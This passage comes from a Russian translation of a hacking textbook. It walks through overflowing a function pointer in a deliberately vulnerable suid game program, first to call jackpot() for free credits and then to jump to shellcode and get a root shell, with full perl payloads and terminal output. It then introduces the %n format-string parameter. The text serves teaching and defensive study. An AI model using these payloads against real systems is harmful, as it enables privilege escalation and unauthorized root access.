184
0x300 Эксплойты w __gmon_start__
08049669 T __i686.get_pc_thunk.bx
0804b4f4 d __init_array_end
0804b4f4 d __init_array_start
080495f0 T __libc_csu_fini
08049600 T __libc_csu_init
U __libc_start_main@@GLIBC_2.0 0804b630 A _edata
0804b6d4 A _end
080496a0 T _fini
080496c0 R _fp_hw
08048484 T _init
080485c0 T _start
080485e4 t call_gmon_start
U close@@GLIBC_2.0 0804b640 b completed.1 0804b624 W data_start
080490d1 T dealer_no_match
080486fc T dump
080486d1 T ec_malloc
U exit@@GLIBC_2.0 08048684 T fatal
080492bf T find_the_ace
08048650 t frame_dummy
080489cc T get_player_data
U getuid@@GLIBC_2.0 08048d97 T input_name
08048d70 T jackpot
08048803 T main
U malloc@@GLIBC_2.0
U open@@GLIBC_2.0 0804b62c d p.0
U perror@@GLIBC_2.0 08048fde T pick_a_number
08048f23 T play_the_game
0804b660 B player
08048df8 T print_cards
U printf@@GLIBC_2.0
U rand@@GLIBC_2.0
U read@@GLIBC_2.0 08048aaf T register_new_player
U scanf@@GLIBC_2.0 08048c72 T show_highscore
U srand@@GLIBC_2.0
U strcpy@@GLIBC_2.0
U strncat@@GLIBC_2.0 08048e91 T take_wager
U time@@GLIBC_2.0 08048b72 T update_player_data
U write@@GLIBC_2.0
reader@hacking:
/booksrc $
0x340 Переполнения в других сегментах
185
Функция jackpot() – замечательный объект для данного эксплойта.
Несмотря на то что шансы в играх очень неравные, если указатель на функцию current_game должным образом заместить адресом функции jackpot()
, не придется даже играть чтобы получить баллы. Вместо это- го функция jackpot() будет вызываться непосредственно, выдавая на- граду в 100 баллов и склоняя чашу весов в пользу игрока.
Программа принимает данные со стандартного ввода. Выбор в меню можно записать в виде буфера, передаваемого на стандартный ввод про- граммы. Выбор будет выполняться так, как если бы он осуществлялся с клавиатуры. В следующем примере выберите пункт меню 1, введите 7 как предположительное число и ответьте n на предложение сыграть сно- ва, после чего выберите пункт меню 7, чтобы завершить работу.
reader@hacking:/booksrc $ perl -e ‘print “1\n7\nn\n7\n”’ | ./game_of_chance
-=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: Jon Erickson]
[You have 60 credits] ->
[DEBUG] current_game pointer @ 0x08048fde
####### Pick a Number ######
This game costs 10 credits to play. Simply pick a number between 1 and 20, and if you pick the winning number, you will win the jackpot of 100 credits!
10 credits have been deducted from your account.
Pick a number between 1 and 20: The winning number is 20
Sorry, you didn’t win.
You now have 50 credits
Would you like to play again? (y/n) -=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: Jon Erickson]
[You have 50 credits] ->
Thanks for playing! Bye.
reader@hacking:/booksrc $
С помощью такого же приема можно заготовить сценарий применения эксплойта. Следующая строка сыграет один раз в Pick a Number, потом
186
0x300 Эксплойты заменит имя пользователя на 100 символов A, за которыми помещает- ся адрес функции jackpot(). Тем самым будет переписан указатель на функцию current_game, поэтому при новом выборе игры Pick a Number будет вызвана функция jackpot().
reader@hacking:/booksrc $ perl -e ‘print “1\n5\nn\n5\n” . “A”x100 . “\x70\
x8d\x04\x08\n” . “1\nn\n” . “7\n”’
1 5
n
5
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAp?
1
n
7
reader@hacking:/booksrc $ perl -e ‘print “1\n5\nn\n5\n” . “A”x100 . “\x70\
x8d\x04\x08\n” . “1\nn\n” . “7\n”’ | ./game_of_chance
-=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: Jon Erickson]
[You have 50 credits] ->
[DEBUG] current_game pointer @ 0x08048fde
####### Pick a Number ######
This game costs 10 credits to play. Simply pick a number between 1 and 20, and if you pick the winning number, you will win the jackpot of 100 credits!
10 credits have been deducted from your account.
Pick a number between 1 and 20: The winning number is 15
Sorry, you didn’t win.
You now have 40 credits
Would you like to play again? (y/n) -=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: Jon Erickson]
[You have 40 credits] ->
Change user name
Enter your new name: Your name has been changed.
0x340 Переполнения в других сегментах
187-=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]
[You have 40 credits] ->
\[DEBUG] current_game pointer @ 0x08048d70
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
You now have 140 credits
Would you like to play again? (y/n) -=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]
[You have 140 credits] ->
Thanks for playing! Bye.
reader@hacking:/booksrc $
Убедившись, что
метод действует, можно развить его, чтобы получить любое количество баллов.
reader@hacking:/booksrc $ perl -e ‘print “1\n5\nn\n5\n” . “A”x100 . “\x70\
x8d\x04\x08\n” . “1\n” . “y\n”x10 . “n\n5\nJon Erickson\n7\n”’ | ./
game_of_chance
-=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]
[You have 140 credits] ->
[DEBUG] current_game pointer @ 0x08048fde
####### Pick a Number ######
188
0x300 Эксплойты
This game costs 10 credits to play. Simply pick a number between 1 and 20, and if you pick the winning number, you will win the jackpot of 100 credits!
10 credits have been deducted from your account.
Pick a number between 1 and 20: The winning number is 1
Sorry, you didn’t win.
You now have 130 credits
Would you like to play again? (y/n) -=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]
[You have 130 credits] ->
Change user name
Enter your new name: Your name has been changed.
-=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]
[You have 130 credits] ->
[DEBUG] current_game pointer @ 0x08048d70
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
You now have 230 credits
Would you like to play again? (y/n)
[DEBUG] current_game pointer @ 0x08048d70
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
You now have 330 credits
Would you like to play again? (y/n)
[DEBUG] current_game pointer @ 0x08048d70
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
You now have 430 credits
Would you like to play again? (y/n)
0x340 Переполнения в других сегментах
189
[DEBUG] current_game pointer @ 0x08048d70
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
You now have 530 credits
Would you like to play again? (y/n)
[DEBUG] current_game pointer @ 0x08048d70
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
You now have 630 credits
Would you like to play again? (y/n)
[DEBUG] current_game pointer @ 0x08048d70
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
You now have 730 credits
Would you like to play again? (y/n)
[DEBUG] current_game pointer @ 0x08048d70
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
You now have 830 credits
Would you like to play again? (y/n)
[DEBUG] current_game pointer @ 0x08048d70
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
You now have 930 credits
Would you like to play again? (y/n)
[DEBUG] current_game pointer @ 0x08048d70
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
You now have 1030 credits
Would you like to play again? (y/n)
[DEBUG] current_game pointer @ 0x08048d70
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
You now have 1130 credits
Would you like to play again? (y/n)
[DEBUG] current_game pointer @ 0x08048d70
*+*+*+*+*+* JACKPOT *+*+*+*+*+*
You have won the jackpot of 100 credits!
You now have 1230 credits
Would you like to play again? (y/n)
-=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
1900x300 Эксплойты
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]
[You have 1230 credits] ->
Change user name
Enter your new name: Your name has been changed.
-=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 – Quit
[Name: Jon Erickson]
[You have 1230 credits] ->
Thanks for playing! Bye.
reader@hacking:/booksrc $
Как можно было заметить, эта программа тоже выполняется с флагом suid root. Это означает, что с помощью шелл-кода можно получить го- раздо больше, чем бесплатные баллы. Как и при переполнении в сте- ке, шелл-код можно спрятать в переменной окружения. После форми- рования подходящего буфера эксплойта можно подать его на стандарт- ный ввод
game_of_chance. Обратите внимание на дефис – аргумент ко- манды cat, расположенный после буфера эксплойта. Он указывает, что программа cat должна вслед за буфером эксплойта послать стандарт- ный ввод, возвратив управление вводу. Несмотря на то что оболочка root не
отображает системное приглашение, она остается доступной и поднимает права доступа.
reader@hacking:/booksrc $ export SHELLCODE=$(cat ./shellcode.bin)
reader@hacking:/booksrc $ ./getenvaddr SHELLCODE ./game_of_chance
SHELLCODE will be at 0xbffff9e0
reader@hacking:/booksrc $ perl -e ‘print “1\n7\nn\n5\n” . “A”x100 . “\xe0\
xf9\xff\xbf\n” . “1\n”’ > exploit_buffer reader@hacking:/booksrc $ cat exploit_buffer - | ./game_of_chance
-=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: Jon Erickson]
0x350 Форматные строки
191
[You have 70 credits] ->
[DEBUG] current_game pointer @ 0x08048fde
####### Pick a Number ######
This game costs 10 credits to play. Simply pick a number between 1 and 20, and if you pick the winning number, you will win the jackpot of 100 credits!
10 credits have been deducted from your account.
Pick a number between 1 and 20: The winning number is 2
Sorry, you didn’t win.
You now have 60 credits
Would you like to play again? (y/n) -=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: Jon Erickson]
[You have 60 credits] ->
Change user name
Enter your new name: Your name has been changed.
-=[ Game of Chance Menu ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your user name
6 - Reset your account at 100 credits
7 - Quit
[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]
[You have 60 credits] ->
[DEBUG] current_game pointer @ 0xbffff9e0
whoami root id uid=0(root) gid=999(reader)
groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),
44(video),46(plugdev),104(scanner),112(netdev),113(lpadmin),
115(powerdev),117(admin),999(reader)
0x350 Форматные строки
Эксплойт форматной строки – это еще один способ получить управле- ние программой, выполняемой с особыми правами. Как и эксплойты
1920x300 Эксплойты переполнения,
эксплойты форматной строки основаны на ошибках программирования, влияние которых на безопасность не всегда оче- видно. К счастью для программистов, поняв механизм этого эксплой- та, довольно легко найти и устранить уязвимости, связанные с фор- матными строками. Хотя уязвимости форматных строк стали встре- чаться редко, знание технологии работы с ними может помочь в дру- гих ситуациях.
Параметры_формата'>0x351 Параметры форматаВы должны уже быть достаточно знакомы с основами форматных строк. Они активно использовались в предыдущих программах с функ- циями вроде printf().
Использующая форматную строку функция, та- кая как printf(), обрабатывает переданную ей форматную строку и, встретив параметр формата, выполняет специальные действия. Каж- дый параметр формата предполагает, что функции будет передана еще одна переменная, так что если в форматной строке есть три параметра формата, функция должна получить три дополнительных аргумента
(помимо самой форматной строки).
Вспомним параметры формата, о которых говорилось в предыдущей главе.
ПараметрТип данныхТип вывода%d
Значение
Десятичное число
%u
Значение
Десятичное число без знака
%x
Значение
Шестнадцатеричное число
%s
Указатель
Строка
%n
Указатель
Количество выведенных байтов
В прошлой главе показано применение
часто используемых параме- тров форматирования, но более редкий параметр %n оставлен без вни- мания. Его применение демонстрирует код
fmt_uncommon.c.
fmt_uncommon.c#include
#include
int main() {
int A = 5, B = 7, count_one, count_two;
// Пример форматной строки с параметром %n printf(“The number of bytes written up to this point X%n is being stored in count_one, and the number of bytes up to here X%n is being stored in count_two.\n”, &count_one, &count_two);
0x350 Форматные строки
193 printf(“count_one: %d\n”, count_one);
printf(“count_two: %d\n”, count_two);
// Пример со стеком printf(“A is %d and is at %08x. B is %x.\n”, A, &A, B);
exit(0);
}
В этой программе есть два параметра формата %n в инструкции printf().
Результат компиляции и запуска программы.
reader@hacking:/booksrc $ gcc fmt_uncommon.c reader@hacking:/booksrc $ ./a.out
The number of bytes written up to this point X is being stored in count_one, and the number of bytes up to here X is being stored in count_two.
count_one: 46
count_two: 113
A is 5 and is at bffff7f4. B is 7.
reader@hacking:/booksrc $
Особенность параметра формата %n в том, что он записывает данные, ничего не отображая, в отличие от других параметров, которые отобра- жают прочитанные данные.
Когда функция форматирования встречает параметр %n, она записы- вает количество байт, выведенных этой функцией, по адресу соответ- ствующего аргумента функции. В fmt_uncommon это происходит в двух местах, и для записи этих данных в переменные count_one и count_two используется унарный оператор адреса.
Затем выводятся значения этих переменных, показывающие, что 46 байт выведено перед первым
%n и 113 – перед вторым.
Помещенный в конце пример со стеком служит удобным переходом к выяснению роли стека в работе форматных строк:
printf(“A is %d and is at %08x. B is %x.\n”, A, &A, B);
При вызове этой функции printf(), как и в случае любой другой функ- ции, ее аргументы помещаются в стек в обратном порядке. Сначала проталкивается значение B, затем адрес A, затем значение A и в конце адрес форматной строки. Стек будет выглядеть, как на рис. 3.2.
Функция форматирования просматривает форматную строку посим- вольно. Если очередной символ не является началом параметра форма- тирования (на который указывает знак процента), он копируется в вы- ходной поток. Если обнаруживается параметр форматирования, то вы- полняются необходимые действия с аргументом, находящимся в стеке и соответствующим этому параметру.